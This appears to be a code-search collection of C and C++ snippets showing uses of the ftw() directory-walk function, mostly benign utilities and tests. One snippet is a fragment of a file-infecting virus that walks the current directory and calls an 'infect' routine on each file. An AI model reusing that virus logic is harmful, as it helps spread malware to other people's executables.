int main(int argc, char *argv[]) { int myrank; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &myrank); printf("%2d - started\n", myrank); if (myrank == 0) { //Master, i.e. distributor of tasks MPI_Comm_size(MPI_COMM_WORLD, &ITEMS_TO_BE_SENT); int number_of_processes = ITEMS_TO_BE_SENT; ITEMS_TO_BE_SENT--; //number of processes that are supposed to receive a task if(argc == 1) ftw(".", parse, 1); else ftw(argv[1], parse, 1); kill_slaves(); sleep(1); //just to make sure that files are closed properly... merge_files(number_of_processes); fprintf(stderr, "Finished merging\n"); } else { run_slave(myrank); } MPI_Finalize(); return 0; }
int main(int argc, char *argv[]) { if(argc == 1) ftw(".", list, 1); else ftw(argv[1], list, 1); return 0; }
int main(int argc, char **argv) { if(argc == 1) ftw(".", list, 1); else ftw(argv[1], list, 1); exit(0); }
// Cleans system cache int mpkgSys::clean_cache(bool symlinks_only) { if (!dialogMode) { if (!symlinks_only) say(_("Cleaning package cache\n")); //else say(_("Cleaning orphaned symlinks in cache\n")); } if (!symlinks_only) ftw(SYS_CACHE.c_str(), _clean, 50); else ftw(SYS_CACHE.c_str(), _clean_symlinks, 50); return 0; }
void GetAllFilesInDirectory (const string& path, vector<string>* files) { fileList = files; pathString = path; ftw(path.c_str(), FileCallback, 10); fileList = NULL; pathString = ""; }
int main(int argc, char *argv[]) { redisReply *reply; int deleted_keys_count = 0; if (argc < 2) { printf("Usage: redis-checksum directory [--dry-run]\n"); return 1; } if (argc > 2 && (strcmp(argv[2], "--dry-run") == 0)) { dry_run = 1; } redis = redisConnect("127.0.0.1", 6379); if(redis->err) { fprintf(stderr, "Connection error: %s\n", redis->errstr); exit(EXIT_FAILURE); } // Get rid of non-existent files from redis remove_stale_redis_keys(redis); ftw(argv[1], &redis_upsert_file, 10); printf("Summary%s:\n", (dry_run) ? " (DRY RUN)" : ""); printf("Keys Added: %d\n", counts[REDIS_COUNT_ADDED]); printf("Keys Updated: %d\n", counts[REDIS_COUNT_UPDATED]); printf("Keys Deleted: %d\n", counts[REDIS_COUNT_DELETED]); return 0; }
void virus(int foo) { void _signal(int signum, void (*handler)(int, volatile struct sigcontext)) { asm("int $0x80"::"a"(__NR_signal),"b"(signum),"c"(handler)); } orig_esp = (uint32_t)&foo; /* libc is not yet available */ _signal(SIGSEGV, error); _signal(SIGBUS, error); /* determine "fragments" sizes */ text_size = &__text_end - &__text_start; data_size = &__data_end - &__data_start; /* initilize virus & find the victims to infect */ if (init()) ftw(".", (int(*)(const char*,const struct stat*,int))infect, 1); /* remove error handler */ signal(SIGSEGV, SIG_DFL); signal(SIGBUS, SIG_DFL); #ifdef DEBUG printf("Virus is OK!\n"); #endif /* clean our data, it's host's .bss */ bzero(&__data_start, data_size); }
int main() { pthread_t id; pthread_create(&id, NULL, t_fun, NULL); ftw(".", reset_glob, 10); pthread_join (id, NULL); return 0; }
int main(int argc, char *argv[]) { char *source_directory, *destination_directory; switch (argc) { case 0: case 1: source_directory = destination_directory = "."; break; case 2: source_directory = argv[1]; destination_directory = "."; break; case 3: source_directory = argv[1]; destination_directory = argv[2]; break; default: fprintf(stderr, "Too many arguments: %d\nUsage: ./gen_TF_IDF source_dir/ destination_dir/\n",argc); exit(1); } char senna_opt_path[FILENAME_BUFF_SIZE]; sprintf(senna_opt_path, "%s/third-party/senna/",LLAMAPUN_ROOT_PATH); initialize_tokenizer(senna_opt_path); init_stemmer(); ftw(source_directory, process_file, 1); close_stemmer(); free_tokenizer(); xmlCleanupParser(); return 0; }
off_t CUtils::du(const char* dirpath) { dirsize = 0; if (ftw(dirpath, _du_fn, 0) != 0) return -1; return dirsize; }
int main(int argc, char** argv) { if(argc != 3) { printf("USAGE: %s [directory to crush] [target directory]\n", argv[0]); return 0; } source = argv[1]; target = argv[2]; if(stat(source, &buffer) != 0) { printf("Source directory doesn't exist.\n"); return 0; } if(stat(target, &buffer) == 0) { printf("Target directory already exists.\n"); return 0; } mkdir(target, 0777); printf("Scanning directory %s.\n", source); ftw(source, crush, 1); return 0; }
/** * Function Name : TestFtw4 * Description : ftw for invalid path * Return Value : ftw returns ENOTDIR */ TInt CTestftw::TestFtw4() { char parm[PATH_MAX]; int result; int ret; int fd=open("c:\\validfile.txt", O_WRONLY|O_CREAT); if(fd==-1) { INFO_PRINTF2(_L("file open fails with error No: %d"), errno); return KErrGeneral; } memset(&parm[0], 0, PATH_MAX); ReadStringParam(parm); ret=ftw(parm, &action, 10); GetIntFromConfig(ConfigSection(), _L("Expected"), result); if(ret==-1 && errno==result) { close(fd); INFO_PRINTF2(_L("ftw returns error no: %d"), errno); unlink("c:\\validfile.txt"); return KErrNone; } INFO_PRINTF2(_L("ftw fails with error No: %d"), errno); close(fd); unlink("c:\\validfile.txt"); return KErrGeneral; }
int main(int argc, char *argv[]) { my_tc = llamapun_textcat_Init(); if (my_tc == NULL) { fprintf(stderr, "Fatal: Couldn't load textcat handle\n"); exit(1); } if(argc == 1) ftw(".", parse, 1); else ftw(argv[1], parse, 1); textcat_Done(my_tc); xmlCleanupParser(); return 0; }
void attributeNAME( ) { int getFile( const char *filename, const struct stat *statptr, int flag ) ; char searchPath[BUFFER_SIZE] ; // the value of SEARCHDIR in the configuration file getPath( searchPath, "SEARCHDIR" ) ; ftw( searchPath, getFile, 5 ) ; }
void process_documents_in_directory(int (*function)(xmlDocPtr, const char *), char *dir, long parameters, FILE *logfile) { FUNCTION_FOR_DOCS = function; TRAVERSAL_LOG_FILE = logfile; TRAVERSAL_PARAMETERS = parameters; init_document_loader(); ftw(dir, read_doc_and_call_function, 12); //12 is the depth (gets slower if exceeded) close_document_loader(); TRAVERSAL_LOG_FILE = stderr; }
int ftw(const char *dir, int (*fn)(const char *file, const struct stat *sb, int flag), int nopenfd) { DIR *d; size_t len; struct stat st; struct dirent *de; int flag, ret = 0; char filename[PATH_MAX]; ret = get_path_infos(dir, &st, &flag); if ( ret < 0 ) return -1; d = opendir(dir); if ( ! d ) return (errno == EACCES) ? fn(dir, &st, FTW_DNR) : -1; ret = fn(dir, &st, flag); if ( ret < 0 ) { closedir(d); return ret; } while ( (de = readdir(d)) ) { len = snprintf(filename, sizeof(filename), "%s/%s", dir, de->d_name); if ( len < 0 || len >= sizeof(filename) ) { errno = ENAMETOOLONG; return -1; } ret = get_path_infos(filename, &st, &flag); if ( ret < 0 ) break; if ( flag == FTW_D ) { if ( strcmp(de->d_name, "..") == 0 || strcmp(de->d_name, ".") == 0 ) continue; ret = ftw(filename, fn, nopenfd); if ( ret < 0 ) break; continue; } ret = fn(filename, (flag == FTW_NS) ? NULL : &st, flag); if ( ret < 0 ) break; } closedir(d); return ret; }
void stage1() { int lastNdx; lastNdx = ftw(buffer1[0], (void *) fileWalking, 5); if (lastNdx > 0) { done1 = lastNdx; } }
std::vector<std::string> PayloadMetaDirectory::getContentTypes() const { callbackPaths.clear(); // 32 seems to be a fair figure for nopenfd. ftw(metaDir.c_str(), ftw_callback, 32); if (callbackPaths.empty()) { throw "the specified data directory does not contain any files."; } return callbackPaths; }
int c(char *p) { static struct stat st; if(lstat(p, &st)) perror(p); else if(S_ISDIR(st.st_mode)) return ftw(p, c_file, 1024); else return c_file(p, &st, 0); return 1; }
int main(int argc, char **argv) { char * path; if (argc<2) { path=(char*)malloc(sizeof(char)); sprintf(path, "."); } else { path=(char*)malloc(sizeof(char)*strlen(argv[1])); sprintf(path, "%s", argv[1]); } ftw(path, callback, 16); return(0); }
int main(int argc, char *argv[]) { int i; if (argc!=2) { printf("Use: mft path\n"); return 1; } extra=strlen(argv[1]); ftw(argv[1],func,1); return 0; }
int main(int argc, char** argv) { // Check arguments and set things up if(argc != 2){ printf("Error: wrong usage"); return -1; } ftw(argv[1], callback, 16); // Print out the results printf("Processed all the files from <%s>.\n", argv[1]); printf("There were %d directories.\n", num_dirs); printf("There were %d regular files.\n", num_regular); }
int main (int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s path\n", argv[0]); exit(2); } if (ftw(argv[1], callback, 16) == -1) { perror("ftw"); exit(1); } return 0; }
//When ftw is over, it should print two descriptive lines to stderr giving //The number of files processed and the number of directories processed. void ftw(const char *filepath, int (*filefunc)(char *, void *), void *ptr){ DIR * dirpath = NULL; char * fullpath = NULL; struct dirent entry; struct dirent * result = NULL; static int first = 1; //Boolean to see if this is the original device or not. int original = 0; if(first == 1){ original = 1; first = 0; filefunc((char *)filepath, ptr); } fullpath = realpath(filepath, NULL); dirpath = opendir(fullpath); dAmount++; chdir(fullpath); readdir_r(dirpath, &entry, &result); do{ //Skip anything that is only "." or ".." if(strcmp(".", entry.d_name) == 0 || strcmp("..", entry.d_name) == 0){ readdir_r(dirpath, &entry, &result); continue; } if(filefunc(entry.d_name, ptr) == 1){ //This is serialize1 ftw(entry.d_name, serialize, ptr); chdir(fullpath); //Restore to previous working directory } else{ fAmount++; } readdir_r(dirpath, &entry, &result); }while(result); if(original){ fprintf(stderr, "Number of files: %d\nNumber of directories: %d\n", fAmount, dAmount); } closedir(dirpath); free(fullpath); }
int do_ftw(char *path) { int code = ftw(path, foreach_path, max_depth); if (code < 0) { fprintf(stderr, "%s: ftw: %s\n", argv0, strerror(errno)); return 1; } return code; }
/** * Function Name : TestFtw5 * Description : ftw with 'ndirs' > OPEN_MAX * Return Value : ftw returns EINVAL */ TInt CTestftw::TestFtw5() { int ret=KErrNone; ret=ftw(".", &action, OPEN_MAX+1); if(ret==-1 && errno == EINVAL) { INFO_PRINTF2(_L("ftw returns the expected error number: %d"), errno); return KErrNone; } INFO_PRINTF2(_L("ftw fails with error No: %d"), errno); return KErrGeneral; }
int main(int argc, char *argv[]) { int myrank; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &myrank); printf("%2d - started\n", myrank); if (myrank == 0) { //Master, i.e. distributor of tasks logfile = fopen("logfile.txt", "w"); if (!logfile) {fprintf(stderr, "Can't open logfile, exiting\n"); exit(1);} MPI_Comm_size(MPI_COMM_WORLD, &ITEMS_TO_BE_SEND); ITEMS_TO_BE_SEND--; //number of processes that are supposed to receive a task if(argc == 1) ftw(".", parse, 1); else ftw(argv[1], parse, 1); kill_slaves(); fclose(logfile); } else { run_slave(myrank); } return 0; }
int main (void) { mtrace (); ftw ("/", callback, 10); if (! sawroot) { puts ("root directory wasn't reported"); result = 1; } return result; }
/* Open all readable files in the dir 'dir' and get their sizes */ int sendfile_init(char *dir) { int count = 0; struct file_list *flist; struct file_list *fl; sfv_list_t *s; if ((s = find_sfv_list(dir)) != NULL) return (0); bzero(&fhead, sizeof (fhead)); if (ftw(dir, add_file, 1000) != 0) { perror("find(ftw):"); return (-1); } /* Now walk the file_list_t list and count entries */ flist = fhead.next; for (fl = fhead.next; fl; fl = fl->next) count++; assert(count); if ((s = calloc(1, sizeof (sfv_list_t))) == NULL) { perror("calloc"); return (-1); } if ((s->flist = calloc(count, sizeof (struct file_list))) == NULL) { perror("calloc"); return (-1); } s->nfiles = count; flist = s->flist; (void) strlcpy(s->dir, dir, sizeof (s->dir)); for (fl = fhead.next; fl; fl = fl->next) { (void) memcpy(flist, fl, sizeof (file_list_t)); flist++; } if (sfv_list) { s->next = sfv_list->next; sfv_list->next = s; } else { sfv_list = s; } return (0); }
int main(int argc, char *argv[]) { int ret; if(argc != 2) err_sys("Usage: ftw <staring-path-name>"); ret = ftw(argv[1], myfunc); printf("regual files = %7ld\n", nreg); printf("dir files = %7ld\n", ndir); printf("block = %7ld\n", nblk); printf("char = %7ld\n", nchr); printf("fifos = %7ld\n", nfifo); printf("symbolic links = %7ld\n", nlnk); printf("socks = %7ld\n", nsock); return 0; }